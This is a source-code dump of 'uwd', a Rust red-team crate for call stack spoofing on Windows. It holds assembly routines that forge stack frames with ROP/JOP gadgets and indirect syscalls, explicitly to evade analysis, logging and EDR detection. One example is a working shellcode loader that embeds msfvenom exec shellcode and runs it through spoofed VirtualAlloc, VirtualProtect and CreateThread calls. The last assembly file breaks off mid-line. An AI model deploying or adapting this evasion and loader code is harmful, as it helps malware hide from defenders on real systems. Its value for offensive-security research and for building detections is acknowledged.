├── .gitignore ├── .vscode └── settings.json ├── Cargo.toml ├── LICENSE ├── README.md ├── build.rs ├── examples ├── 1. winexec │ ├── Cargo.toml │ └── src │ │ └── main.rs ├── 2. syscall │ ├── Cargo.toml │ └── src │ │ └── main.rs ├── 3. shellcode │ ├── Cargo.toml │ └── src │ │ └── main.rs └── Cargo.toml ├── rust-toolchain.toml ├── src ├── asm │ ├── gnu │ │ ├── desync.asm │ │ └── synthetic.asm │ └── msvc │ │ ├── desync.asm │ │ └── synthetic.asm ├── data.rs ├── lib.rs ├── utils.rs └── uwd.rs ├── taplo.toml └── tests ├── Cargo.toml └── src └── main.rs /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | debug/ 4 | target/ 5 | 6 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 7 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 8 | Cargo.lock 9 | 10 | # These are backup files generated by rustfmt 11 | **/*.rs.bk 12 | 13 | # MSVC Windows builds of rustc generate these, which store debugging information 14 | *.pdb 15 | 16 | 17 | # RustRover 18 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 19 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 20 | # and can be added to the global gitignore or merged into this file. For a more nuclear 21 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 22 | #.idea/ -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "rust-analyzer.linkedProjects": [ 3 | "examples/Cargo.toml", 4 | "tests/Cargo.toml" 5 | ], 6 | "rust-analyzer.diagnostics.disabled": [ 7 | "unlinked-file" 8 | ] 9 | } -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "uwd" 3 | version = "0.1.1" 4 | edition = "2021" 5 | description = "Call Stack Spoofing for Rust" 6 | license = "MIT" 7 | repository = "https://github.com/joaoviictorti/uwd" 8 | homepage = "https://github.com/joaoviictorti/uwd" 9 | readme = "README.md" 10 | build = "build.rs" 11 | keywords = ["spoofing", "stack", "windows", "rust", "redteam"] 12 | categories = ["os", "security"] 13 | exclude = [ 14 | ".gitignore", 15 | "target/", 16 | "tests/", 17 | ] 18 | 19 | [dependencies] 20 | bitfield = "0.19.0" 21 | dinvk = "0.1.4" 22 | obfstr = "0.4.4" 23 | 24 | [build-dependencies] 25 | cc = "1.2.19" 26 | nasm-rs = "0.3.0" 27 | 28 | [package.metadata.docs.rs] 29 | default-target = "x86_64-pc-windows-msvc" 30 | targets = [ 31 | "x86_64-pc-windows-gnu", 32 | "x86_64-pc-windows-msvc", 33 | ] 34 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Victor 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # uwd 🦀 2 | 3 | ![Rust](https://img.shields.io/badge/made%20with-Rust-red) 4 | ![crate](https://img.shields.io/crates/v/uwd.svg) 5 | ![docs](https://docs.rs/uwd/badge.svg) 6 | ![Forks](https://img.shields.io/github/forks/joaoviictorti/uwd) 7 | ![Stars](https://img.shields.io/github/stars/joaoviictorti/uwd) 8 | ![License](https://img.shields.io/github/license/joaoviictorti/uwd) 9 | 10 | `uwd` (Unwind Desynchronizer) is a Rust library for call stack spoofing on Windows, allowing you to execute arbitrary functions with a forged call stack that evades analysis, logging, or detection during stack unwinding. 11 | 12 | Inspired by [SilentMoonwalk](https://github.com/klezVirus/SilentMoonwalk), this crate brings low-level spoofing capabilities into a clean, idiomatic Rust interface with full support for `#[no_std]`, `MSVC` and `GNU` toolchains, and automated gadget resolution. 13 | 14 | ## Table of Contents 15 | 16 | - [Features](#features) 17 | - [Installation](#installation) 18 | - [Usage](#usage) 19 | - [Spoofing WinExec](#spoofing-winexec) 20 | - [Spoofing an Indirect Syscall](#spoofing-an-indirect-syscall) 21 | - [Additional Resources](#additional-resources) 22 | - [Contributing to uwd](#contributing-to-uwd) 23 | - [References](#references) 24 | - [License](#license) 25 | 26 | ## Features 27 | 28 | - ✅ Call stack spoofing via `Synthetic` (thread-like stack emulation) and `Desync` (JOP gadget-based stack misalignment) 29 | - ✅ Compatible with both `MSVC` and `GNU` toolchains (**x86_64**) 30 | - ✅ Inline macros: `spoof!`, `spoof_synthetic!`, `syscall!`, `syscall_synthetic!` 31 | - ✅ Supports `#[no_std]` environments (with `alloc`) 32 | 33 | ## Installation 34 | 35 | Add `uwd` to your project by updating your `Cargo.toml`: 36 | ```bash 37 | cargo add uwd 38 | ``` 39 | 40 | ## Usage 41 | 42 | `uwd` allows you to spoof the call stack in Rust when calling either standard Windows APIs or performing indirect syscalls. The library handles the full setup of fake frames, gadget chains, and register preparation to make execution appear as if it came from a legitimate source. 43 | 44 | You can spoof: 45 | 46 | * Normal functions (like `VirtualAlloc`, `WinExec`, etc.) 47 | * Native syscalls with automatic SSN and stub resolution (like `NtAllocateVirtualMemory`) 48 | 49 | The macros `spoof!` / `spoof_synthetic!` and `syscall!` / `syscall_synthetic!` abstract all the complexity. 50 | 51 | ### Spoofing WinExec 52 | 53 | This example shows how to spawn `calc.exe` using a spoofed call stack. We call `WinExec` twice once using the Desync technique, and again using the Synthetic one. 54 | 55 | ```rs 56 | use dinvk::{GetModuleHandle, GetProcAddress}; 57 | use uwd::{spoof, spoof_synthetic}; 58 | 59 | fn main() -> Result<(), Box> { 60 | // Resolves addresses of the WinAPI functions to be used 61 | let kernel32 = GetModuleHandle("kernel32.dll", None); 62 | let win_exec = GetProcAddress(kernel32, "WinExec", None); 63 | 64 | let cmd = c"calc.exe"; 65 | 66 | // Call Stack Spoofing (Desync) 67 | spoof!(win_exec, cmd.as_ptr(), 1) 68 | .filter(|&ptr| !ptr.is_null()) 69 | .ok_or("WinExec Failed")?; 70 | 71 | // Call Stack Spoofing (Synthetic) 72 | spoof_synthetic!(win_exec, cmd.as_ptr(), 1) 73 | .filter(|&ptr| !ptr.is_null()) 74 | .ok_or("WinExec Failed")?; 75 | 76 | Ok(()) 77 | } 78 | ``` 79 | 80 | ### Spoofing an Indirect Syscall 81 | 82 | This example performs a indirect system call to `NtAllocateVirtualMemory` with a spoofed call stack. 83 | 84 | ```rs 85 | use std::{ffi::c_void, ptr::null_mut}; 86 | use uwd::{syscall, syscall_synthetic}; 87 | 88 | fn main() -> Result<(), Box> { 89 | // Running indirect syscall with Call Stack Spoofing (Desync) 90 | let mut addr = null_mut::(); 91 | let mut size = (1 << 12) as usize; 92 | syscall!("NtAllocateVirtualMemory", -1isize as *mut c_void, &mut addr as *mut _, 0, &mut size as *mut _, 0x3000, 0x04); 93 | println!("[+] Address: {:?}", addr); 94 | 95 | // Running indirect syscall with Call Stack Spoofing (Synthetic) 96 | let mut addr = null_mut::(); 97 | let mut size = (1 << 12) as usize; 98 | syscall_synthetic!("NtAllocateVirtualMemory", -1isize as *mut c_void, &mut addr as *mut _, 0, &mut size as *mut _, 0x3000, 0x04); 99 | println!("[+] Address: {:?}", addr); 100 | 101 | Ok(()) 102 | } 103 | ``` 104 | 105 | ## Additional Resources 106 | 107 | For more examples, check the [examples](/examples) folder in the repository. 108 | 109 | ## Contributing to uwd 110 | 111 | To contribute to **uwd**, follow these steps: 112 | 113 | 1. Fork this repository. 114 | 2. Create a branch: `git checkout -b `. 115 | 3. Make your changes and commit them: `git commit -m ''`. 116 | 4. Push your changes to your branch: `git push origin `. 117 | 5. Create a pull request. 118 | 119 | Alternatively, consult the [GitHub documentation](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests) on how to create a pull request. 120 | 121 | ## References 122 | 123 | I want to express my gratitude to these projects that inspired me to create `uwd` and contribute with some features: 124 | 125 | - [SilentMoonwalk](https://github.com/klezVirus/SilentMoonwalk) 126 | 127 | Special thanks to: 128 | 129 | - [Kudaes](https://x.com/_Kudaes_) 130 | - [Klez](https://x.com/KlezVirus) 131 | - [Waldo-IRC](https://x.com/waldoirc) 132 | - [Trickster0](https://x.com/trickster012) 133 | - [namazso](https://x.com/namazso) 134 | 135 | ## License 136 | 137 | This project is licensed under the MIT License. See the [LICENSE](/LICENSE) file for details. -------------------------------------------------------------------------------- /build.rs: -------------------------------------------------------------------------------- 1 | use std::env; 2 | 3 | fn main() { 4 | if std::env::var("DOCS_RS").is_ok() { 5 | println!("cargo:warning=Skipping ASM build for docs.rs"); 6 | return; 7 | } 8 | 9 | let target = env::var("TARGET").expect("Missing TARGET environment variable"); 10 | let out_dir = env::var("OUT_DIR").expect("Missing OUT_DIR environment variable"); 11 | 12 | // Supports x86_64 environments only 13 | if !target.contains("x86_64") { 14 | panic!("This build script only supports x86_64 targets."); 15 | } 16 | 17 | if target.contains("msvc") { 18 | // Use MASM with cc 19 | cc::Build::new() 20 | .file("src/asm/msvc/desync.asm") 21 | .file("src/asm/msvc/synthetic.asm") 22 | .compile("spoof"); 23 | } else if target.contains("gnu") { 24 | // Use NASM with nasm_rs 25 | let sources = [ 26 | "src/asm/gnu/desync.asm", 27 | "src/asm/gnu/synthetic.asm", 28 | ]; 29 | 30 | if let Err(e) = nasm_rs::compile_library("spoof", &sources) { 31 | panic!("Failed to compile with NASM [spoof]: {}", e); 32 | } 33 | 34 | for source in &sources { 35 | println!("cargo:rerun-if-changed={}", source); 36 | } 37 | 38 | println!("cargo:rustc-link-search=native={}", out_dir); 39 | println!("cargo:rustc-link-lib=static=spoof"); 40 | } else { 41 | panic!("Unsupported target: {}", target); 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /examples/1. winexec/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "example_1" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | dinvk = "0.1.3" 8 | uwd = { path = "../../../uwd" } 9 | -------------------------------------------------------------------------------- /examples/1. winexec/src/main.rs: -------------------------------------------------------------------------------- 1 | use dinvk::{GetModuleHandle, GetProcAddress}; 2 | use uwd::{spoof, spoof_synthetic}; 3 | 4 | #[rustfmt::skip] 5 | fn main() -> Result<(), Box> { 6 | // Resolves addresses of the WinAPI functions to be used 7 | let kernel32 = GetModuleHandle("kernel32.dll", None); 8 | let win_exec = GetProcAddress(kernel32, "WinExec", None); 9 | 10 | // Execute command with `WinExec` 11 | // Call Stack Spoofing (Desync) 12 | let cmd = c"calc.exe"; 13 | spoof!(win_exec, cmd.as_ptr(), 1) 14 | .filter(|&ptr| !ptr.is_null()) 15 | .ok_or("WinExec Failed")?; 16 | 17 | // Call Stack Spoofing (Synthetic) 18 | spoof_synthetic!(win_exec, cmd.as_ptr(), 1) 19 | .filter(|&ptr| !ptr.is_null()) 20 | .ok_or("WinExec Failed")?; 21 | 22 | Ok(()) 23 | } 24 | -------------------------------------------------------------------------------- /examples/2. syscall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "example_2" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | dinvk = "0.1.3" 8 | uwd = { path = "../../../uwd" } 9 | -------------------------------------------------------------------------------- /examples/2. syscall/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::{ffi::c_void, ptr::null_mut}; 2 | use uwd::{syscall, syscall_synthetic}; 3 | 4 | fn main() -> Result<(), Box> { 5 | // Running indirect syscall with Call Stack Spoofing (Desync) 6 | let mut addr = null_mut::(); 7 | let mut size = (1 << 12) as usize; 8 | syscall!("NtAllocateVirtualMemory", -1isize as *mut c_void, &mut addr as *mut _, 0, &mut size as *mut _, 0x3000, 0x04); 9 | println!("[+] Address: {:?}", addr); 10 | 11 | // Running indirect syscall with Call Stack Spoofing (Synthetic) 12 | let mut addr = null_mut::(); 13 | let mut size = (1 << 12) as usize; 14 | syscall_synthetic!("NtAllocateVirtualMemory", -1isize as *mut c_void, &mut addr as *mut _, 0, &mut size as *mut _, 0x3000, 0x04); 15 | println!("[+] Address: {:?}", addr); 16 | 17 | Ok(()) 18 | } 19 | 20 | -------------------------------------------------------------------------------- /examples/3. shellcode/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "example_3" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | dinvk = "0.1.3" 8 | uwd = { path = "../../../uwd" } -------------------------------------------------------------------------------- /examples/3. shellcode/src/main.rs: -------------------------------------------------------------------------------- 1 | use dinvk::{GetModuleHandle, GetProcAddress}; 2 | use std::ptr::{copy_nonoverlapping, null_mut}; 3 | use uwd::spoof; 4 | 5 | // msfvenom -p windows/x64/exec CMD=calc.exe -f rust 6 | const SHELLCODE: [u8; 276] = [ 7 | 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 8 | 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 9 | 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 10 | 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 11 | 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 12 | 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 13 | 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 14 | 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 15 | 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 16 | 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 17 | 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 18 | 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 19 | 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 20 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 21 | 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 22 | 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 23 | 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 24 | 0x65, 0x78, 0x65, 0x00, 25 | ]; 26 | 27 | #[rustfmt::skip] 28 | fn main() -> Result<(), Box> { 29 | // Resolves addresses of the WinAPI functions to be used 30 | let kernel32 = GetModuleHandle("kernel32.dll", None); 31 | let virtual_alloc = GetProcAddress(kernel32, "VirtualAlloc", None); 32 | let virtual_protect = GetProcAddress(kernel32, "VirtualProtect", None); 33 | let create_thread = GetProcAddress(kernel32, "CreateThread", None); 34 | 35 | // Allocate memory with RW using spoofed VirtualAlloc 36 | let addr = spoof!(virtual_alloc, null_mut::(), SHELLCODE.len(), 0x3000, 0x04) 37 | .filter(|&ptr| !ptr.is_null()) 38 | .ok_or("VirtualAlloc Returned null pointer")?; 39 | 40 | // Copies the shellcode to the allocated memory 41 | unsafe { copy_nonoverlapping(SHELLCODE.as_ptr().cast(), addr, SHELLCODE.len()) }; 42 | 43 | // Changes protection to PAGE_EXECUTE_READ 44 | let mut old_protection = 0usize; 45 | spoof!(virtual_protect, addr, SHELLCODE.len(), 0x20, &mut old_protection as *mut _) 46 | .filter(|&ptr| !ptr.is_null()) 47 | .ok_or("VirtualProtect Failed")?; 48 | 49 | // Execute shellcode in new thread 50 | spoof!(create_thread, null_mut::(), 0, addr, null_mut::(), 0, 0) 51 | .filter(|&ptr| !ptr.is_null()) 52 | .ok_or("CreateThread Failed")?; 53 | 54 | std::thread::sleep(std::time::Duration::from_secs(2000)); 55 | Ok(()) 56 | } 57 | -------------------------------------------------------------------------------- /examples/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "1. winexec", 4 | "2. syscall", 5 | "3. shellcode" 6 | ] -------------------------------------------------------------------------------- /rust-toolchain.toml: -------------------------------------------------------------------------------- 1 | [toolchain] 2 | channel = "stable" 3 | targets = ["x86_64-pc-windows-msvc"] -------------------------------------------------------------------------------- /src/asm/gnu/desync.asm: -------------------------------------------------------------------------------- 1 | ;; 2 | ;; Code responsible for Call Stack Spoofing Via Desync (NASM) 3 | ;; 4 | [BITS 64] 5 | 6 | ;; 7 | ;; Export 8 | ;; 9 | GLOBAL Spoof 10 | 11 | [SECTION .data] 12 | 13 | ;; 14 | ;; Configuration structure passed to the spoof ASM routine 15 | ;; 16 | STRUC Config 17 | .RtlUserThreadStartAddr RESQ 1 18 | .RtlUserThreadStartFrameSize RESQ 1 19 | 20 | .BaseThreadInitThunkAddr RESQ 1 21 | .BaseThreadInitThunkFrameSize RESQ 1 22 | 23 | .FirstFrame RESQ 1 24 | .SecondFrame RESQ 1 25 | .JmpRbxGadget RESQ 1 26 | .AddRspXGadget RESQ 1 27 | 28 | .FirstFrameSize RESQ 1 29 | .SecondFrameSize RESQ 1 30 | .JmpRbxGadgetFrameSize RESQ 1 31 | .AddRspXGadgetFrameSize RESQ 1 32 | 33 | .RbpOffset RESQ 1 34 | 35 | .SpooFunction RESQ 1 36 | .ReturnAddress RESQ 1 37 | 38 | .IsSyscall RESD 1 39 | .Ssn RESD 1 40 | 41 | .NArgs RESQ 1 42 | .Arg01 RESQ 1 43 | .Arg02 RESQ 1 44 | .Arg03 RESQ 1 45 | .Arg04 RESQ 1 46 | .Arg05 RESQ 1 47 | .Arg06 RESQ 1 48 | .Arg07 RESQ 1 49 | .Arg08 RESQ 1 50 | .Arg09 RESQ 1 51 | .Arg10 RESQ 1 52 | .Arg11 RESQ 1 53 | ENDSTRUC 54 | 55 | [SECTION .text] 56 | 57 | ;; 58 | ;; Function responsible for Call Stack Spoofing 59 | ;; 60 | Spoof: 61 | ;; 62 | ;; Saving non-vol registers 63 | ;; 64 | push rbp 65 | push rbx 66 | 67 | ;; 68 | ;; Return main 69 | ;; 70 | mov rbp, rsp 71 | 72 | ;; 73 | ;; Creating stack pointer to Restore PROC 74 | ;; 75 | lea rax, [rel Restore] 76 | push rax 77 | lea rbx, [rsp] 78 | 79 | ;; 80 | ;; First Frame (Fake origin) 81 | ;; 82 | push QWORD [rcx + Config.FirstFrame] 83 | 84 | mov rax, [rcx + Config.ReturnAddress] 85 | sub rax, [rcx + Config.FirstFrameSize] 86 | 87 | sub rsp, [rcx + Config.SecondFrameSize] 88 | mov r10, [rcx + Config.RbpOffset] 89 | mov [rsp + r10], rax 90 | 91 | ;; 92 | ;; ROP Frames 93 | ;; 94 | push QWORD [rcx + Config.SecondFrame] 95 | 96 | ;; 97 | ;; JMP [RBX] Gadget / Stack Pivot (To restore original Control Flow Stack) 98 | ;; 99 | sub rsp, [rcx + Config.JmpRbxGadgetFrameSize] 100 | push QWORD [rcx + Config.JmpRbxGadget] 101 | 102 | sub rsp, [rcx + Config.AddRspXGadgetFrameSize] 103 | push QWORD [rcx + Config.AddRspXGadget] 104 | 105 | ;; 106 | ;; Set the pointer to the function to call in R11 107 | ;; 108 | mov r11, [rcx + Config.SpooFunction] 109 | jmp Parameters 110 | 111 | ;; 112 | ;; Set the parameters to pass to the target function 113 | ;; 114 | Parameters: 115 | mov r12, rcx 116 | mov rax, [r12 + Config.NArgs] 117 | 118 | ; Arg01 (rcx) 119 | cmp rax, 1 120 | jb skip_1 121 | mov rcx, [r12 + Config.Arg01] 122 | 123 | skip_1: 124 | ; Arg02 (rdx) 125 | cmp rax, 2 126 | jb skip_2 127 | mov rdx, [r12 + Config.Arg02] 128 | 129 | skip_2: 130 | ; Arg03 (r8) 131 | cmp rax, 3 132 | jb skip_3 133 | mov r8, [r12 + Config.Arg03] 134 | 135 | skip_3: 136 | ; Arg04 (r9) 137 | cmp rax, 4 138 | jb skip_4 139 | mov r9, [r12 + Config.Arg04] 140 | 141 | skip_4: 142 | ; Stack-based args 143 | lea r13, [rsp] 144 | 145 | cmp rax, 5 146 | jb skip_5 147 | mov r10, [r12 + Config.Arg05] 148 | mov [r13 + 28h], r10 149 | 150 | skip_5: 151 | ; Arg06 152 | cmp rax, 6 153 | jb skip_6 154 | mov r10, [r12 + Config.Arg06] 155 | mov [r13 + 30h], r10 156 | 157 | skip_6: 158 | ; Arg07 159 | cmp rax, 7 160 | jb skip_7 161 | mov r10, [r12 + Config.Arg07] 162 | mov [r13 + 38h], r10 163 | 164 | skip_7: 165 | ; Arg08 166 | cmp rax, 8 167 | jb skip_8 168 | mov r10, [r12 + Config.Arg08] 169 | mov [r13 + 40h], r10 170 | 171 | skip_8: 172 | ; Arg09 173 | cmp rax, 9 174 | jb skip_9 175 | mov r10, [r12 + Config.Arg09] 176 | mov [r13 + 48h], r10 177 | 178 | skip_9: 179 | ; Arg10 180 | cmp rax, 10 181 | jb skip_10 182 | mov r10, [r12 + Config.Arg10] 183 | mov [r13 + 50h], r10 184 | 185 | skip_10: 186 | ; Arg11 187 | cmp rax, 11 188 | jb skip_11 189 | mov r10, [r12 + Config.Arg11] 190 | mov [r13 + 58h], r10 191 | 192 | skip_11: 193 | cmp BYTE [r12 + Config.IsSyscall], 1 194 | je ExecuteSyscall 195 | 196 | jmp Execute 197 | 198 | ;; 199 | ;; Restores the original stack frame 200 | ;; 201 | Restore: 202 | mov rsp, rbp 203 | pop rbx 204 | pop rbp 205 | ret 206 | 207 | ;; 208 | ;; Executes the target function 209 | ;; 210 | Execute: 211 | jmp r11 212 | 213 | ;; 214 | ;; Executes a native Windows system call using the spoofed context 215 | ;; 216 | ExecuteSyscall: 217 | mov r10, rcx 218 | mov eax, DWORD [r12 + Config.Ssn] 219 | jmp r11 -------------------------------------------------------------------------------- /src/asm/gnu/synthetic.asm: -------------------------------------------------------------------------------- 1 | ;; 2 | ;; Code responsible for Call Stack Spoofing Via Synthetic (NASM) 3 | ;; 4 | [BITS 64] 5 | 6 | ;; 7 | ;; Export 8 | ;; 9 | GLOBAL SpoofSynthetic 10 | 11 | [SECTION .data] 12 | 13 | ;; 14 | ;; Configuration structure passed to the spoof ASM routine 15 | ;; 16 | STRUC Config 17 | .RtlUserThreadStartAddr RESQ 1 18 | .RtlUserThreadStartFrameSize RESQ 1 19 | 20 | .BaseThreadInitThunkAddr RESQ 1 21 | .BaseThreadInitThunkFrameSize RESQ 1 22 | 23 | .FirstFrame RESQ 1 24 | .SecondFrame RESQ 1 25 | .JmpRbxGadget RESQ 1 26 | .AddRspXGadget RESQ 1 27 | 28 | .FirstFrameSize RESQ 1 29 | .SecondFrameSize RESQ 1 30 | .JmpRbxGadgetFrameSize RESQ 1 31 | .AddRspXGadgetFrameSize RESQ 1 32 | 33 | .RbpOffset RESQ 1 34 | 35 | .SpooFunction RESQ 1 36 | .ReturnAddress RESQ 1 37 | 38 | .IsSyscall RESD 1 39 | .Ssn RESD 1 40 | 41 | .NArgs RESQ 1 42 | .Arg01 RESQ 1 43 | .Arg02 RESQ 1 44 | .Arg03 RESQ 1 45 | .Arg04 RESQ 1 46 | .Arg05 RESQ 1 47 | .Arg06 RESQ 1 48 | .Arg07 RESQ 1 49 | .Arg08 RESQ 1 50 | .Arg09 RESQ 1 51 | .Arg10 RESQ 1 52 | .Arg11 RESQ 1 53 | ENDSTRUC 54 | 55 | [SECTION .text] 56 | 57 | ;; 58 | ;; Function responsible for Call Stack Spoofing 59 | ;; 60 | SpoofSynthetic: 61 | ;; 62 | ;; Saving non-vol registers 63 | ;; 64 | push QWORD rbp 65 | push QWORD rbx 66 | push QWORD r15 67 | 68 | ;; 69 | ;; Everything between RSP and RBP is our new stack frame for unwinding 70 | ;; 71 | sub rsp, 210h 72 | mov rbp, rsp 73 | 74 | ;; 75 | ;; Creating stack pointer to Restore PROC 76 | ;; 77 | lea rax, [rel RestoreSynthetic] 78 | push rax 79 | lea rbx, [rsp] 80 | 81 | ;; 82 | ;; Cutting the call stack. The 0 pushed in this position will be the return address 83 | ;; of the next frame "RtlUserThreadStart", making it effectively the originating function 84 | ;; 85 | xor rax, rax 86 | push rax 87 | 88 | ;; 89 | ;; RtlUserThreadStart 90 | ;; 91 | sub rsp, [rcx + Config.RtlUserThreadStartFrameSize] 92 | push QWORD [rcx + Config.RtlUserThreadStartAddr] 93 | add QWORD [rsp], 21h 94 | 95 | ;; 96 | ;; BaseThreadInitThunk 97 | ;; 98 | sub rsp, [rcx + Config.BaseThreadInitThunkFrameSize] 99 | push QWORD [rcx + Config.BaseThreadInitThunkAddr] 100 | add QWORD [rsp], 14h 101 | 102 | ;; 103 | ;; Return Adress 104 | ;; 105 | mov rax, rsp 106 | 107 | ;; 108 | ;; First Frame (Fake origin) 109 | ;; 110 | push QWORD [rcx + Config.FirstFrame] 111 | sub rax, [rcx + Config.FirstFrameSize] 112 | 113 | sub rsp, [rcx + Config.SecondFrameSize] 114 | mov r10, [rcx + Config.RbpOffset] 115 | mov [rsp + r10], rax 116 | 117 | ;; 118 | ;; ROP Frames 119 | ;; 120 | push QWORD [rcx + Config.SecondFrame] 121 | 122 | ;; 123 | ;; JMP [RBX] Gadget / Stack Pivot (To restore original Control Flow Stack) 124 | ;; 125 | sub rsp, [rcx + Config.JmpRbxGadgetFrameSize] 126 | push QWORD [rcx + Config.JmpRbxGadget] 127 | 128 | sub rsp, [rcx + Config.AddRspXGadgetFrameSize] 129 | push QWORD [rcx + Config.AddRspXGadget] 130 | 131 | ;; 132 | ;; Set the pointer to the function to call in R11 133 | ;; 134 | mov r11, [rcx + Config.SpooFunction] 135 | jmp ParametersSynthetic 136 | 137 | ;; 138 | ;; Set the parameters to pass to the target function 139 | ;; 140 | ParametersSynthetic: 141 | mov r12, rcx 142 | mov rax, [r12 + Config.NArgs] 143 | 144 | ; Arg01 (rcx) 145 | cmp rax, 1 146 | jb skip_1 147 | mov rcx, [r12 + Config.Arg01] 148 | 149 | skip_1: 150 | ; Arg02 (rdx) 151 | cmp rax, 2 152 | jb skip_2 153 | mov rdx, [r12 + Config.Arg02] 154 | 155 | skip_2: 156 | ; Arg03 (r8) 157 | cmp rax, 3 158 | jb skip_3 159 | mov r8, [r12 + Config.Arg03] 160 | 161 | skip_3: 162 | ; Arg04 (r9) 163 | cmp rax, 4 164 | jb skip_4 165 | mov r9, [r12 + Config.Arg04] 166 | 167 | skip_4: 168 | ; Stack-based args 169 | lea r13, [rsp] 170 | 171 | cmp rax, 5 172 | jb skip_5 173 | mov r10, [r12 + Config.Arg05] 174 | mov [r13 + 28h], r10 175 | 176 | skip_5: 177 | ; Arg06 178 | cmp rax, 6 179 | jb skip_6 180 | mov r10, [r12 + Config.Arg06] 181 | mov [r13 + 30h], r10 182 | 183 | skip_6: 184 | ; Arg07 185 | cmp rax, 7 186 | jb skip_7 187 | mov r10, [r12 + Config.Arg07] 188 | mov [r13 + 38h], r10 189 | 190 | skip_7: 191 | ; Arg08 192 | cmp rax, 8 193 | jb skip_8 194 | mov r10, [r12 + Config.Arg08] 195 | mov [r13 + 40h], r10 196 | 197 | skip_8: 198 | ; Arg09 199 | cmp rax, 9 200 | jb skip_9 201 | mov r10, [r12 + Config.Arg09] 202 | mov [r13 + 48h], r10 203 | 204 | skip_9: 205 | ; Arg10 206 | cmp rax, 10 207 | jb skip_10 208 | mov r10, [r12 + Config.Arg10] 209 | mov 